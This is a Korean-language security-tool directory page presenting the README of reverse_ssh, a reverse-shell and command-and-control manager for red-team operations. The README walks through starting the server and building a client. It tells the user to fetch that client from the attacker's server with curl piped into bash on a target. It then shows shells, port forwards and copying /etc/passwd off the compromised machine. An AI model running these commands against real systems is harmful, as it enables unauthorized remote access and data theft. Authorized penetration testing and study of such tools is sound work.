Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
reverse_ssh — SSH 기반 리버스 셸 관리 도구로, 기본 SCP/SFTP 지원, 다중 전송 프로토콜, Windows DLL 생성, 그리고 레드팀 운영을 위한 파일리스 실행을 제공합니다. | Kitploit
도구/GitHubGitHub/nhas/reverse_ssh
ShellcodeShellcode Generation
GitHubnhas/reverse_ssh

reverse_ssh

SSH 기반 리버스 셸 관리 도구로, 기본 SCP/SFTP 지원, 다중 전송 프로토콜, Windows DLL 생성, 그리고 레드팀 운영을 위한 파일리스 실행을 제공합니다.

저장소 보기
1.4k184632일 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Reverse SSH

icon
(아트 크레딧: https://www.instagram.com/smart.hedgehog.art/)

SSH를 리버스 셸에 사용하고 싶으신가요? 이제 가능합니다.

  • 네이티브 SSH 구문으로 리버스 셸을 관리하고 연결
  • 동적, 로컬 및 원격 포워딩
  • 대상에서 파일을 가져오기 위한 네이티브 SCP 및 SFTP 구현
  • 완전한 Windows 셸
  • http, websockets, tls 등과 같은 다양한 네트워크 전송
  • 높은 신뢰도의 제어 채널을 생성하기 위한 상호 클라이언트 및 서버 인증 그리고 더 많은 기능!
                    +----------------+                 +---------+
                    |                |                 |         |
                    |                |       +---------+   RSSH  |
                    |    Reverse     |       |         |  Client |
                    |  SSH server    |       |         |         |
                    |                |       |         +---------+
+---------+         |                |       |
|         |         |                |       |
| Human   |   SSH   |                |  SSH  |         +---------+
| Client  +-------->+                <-----------------+         |
|         |         |                |       |         |   RSSH  |
+---------+         |                |       |         |  Client |
                    |                |       |         |         |
                    |                |       |         +---------+
                    |                |       |
                    |                |       |
                    +----------------+       |         +---------+
                                             |         |         |
                                             |         |   RSSH  |
                                             +---------+  Client |
                                                       |         |
                                                       +---------+

https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1

  • Reverse SSH
    • TL;DR
      • 설정
      • 기본 사용법
    • 참조 문서
    • 후원자
      • 개인
      • 기업
  • 기부, 지원 또는 환원

TL;DR

설정

컨테이너 릴리스를 권장합니다. 올바른 버전의 golang과 Windows용 크로스 컴파일러가 포함되어 있기 때문입니다.

# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="<ssh_key>" -v ./data:/data reversessh/reverse_ssh

또는 docker compose:

services:
  reversessh:
    image: reversessh/reverse_ssh
    ports:
      - "3232:2222"
    environment:
      - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
      - RSSH_CONSOLE_LABEL=c2.label
      - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
      - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
    volumes:
      - ./data:/data

기본 사용법

# Connect to the server console
ssh your.rssh.server.internal -p 3232


# List all server console commands
catcher$ help

# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25


# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh |  bash

# then we can then list what clients are connected
catcher$ ls
                                 Targets
+------------------------------------------+-----------------------------------+
| IDs                                      | Version                           |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 |                                   |
| dummy.machine                            |                                   |
| 192.168.0.11:34542                       |                                   |
+------------------------------------------+-----------------------------------+

모든 명령은 도움말을 제공하기 위한 -h 플래그를 지원합니다.

그런 다음 일반적인 ssh 명령이 작동하며, rssh 서버를 점프 호스트로 지정하기만 하면 됩니다.

# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine

# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine

# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine

# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .

참고 문서

더 완전한 문서는 docs 폴더에서 확인할 수 있습니다. 여기에는 치트시트, 문제 해결 방법 등이 포함되어 있습니다.

후원자

RSSH 프로젝트에 기부하여 이 모든 작업을 가능하게 해주신 다음 분들께 큰 감사를 드립니다!

개인

chikamobina님의 아낌없는 기부에 감사드립니다!
wrighterase (ctrlzero)님의 기여와 기부에 감사드립니다!

기업

Carapace는 매우 뛰어난 인재 팀을 보유한 뉴질랜드 기반 보안 컨설팅 회사입니다!

기부, 지원 또는 환원

RSSH 프로젝트에 환원하는 가장 쉬운 방법은 버그를 찾고, 기능 요청을 열고, 유용하게 쓸 것 같은 사람들에게 입소문을 내는 것입니다!

하지만 저에게 직접 무언가를 환원하고 싶으시다면, GitHub Sponsors를 통하거나 다음 지갑 중 하나로 보내주시면 됩니다:

Monero (XMR): 8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND Bitcoin (BTC): bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr

도구 다운로드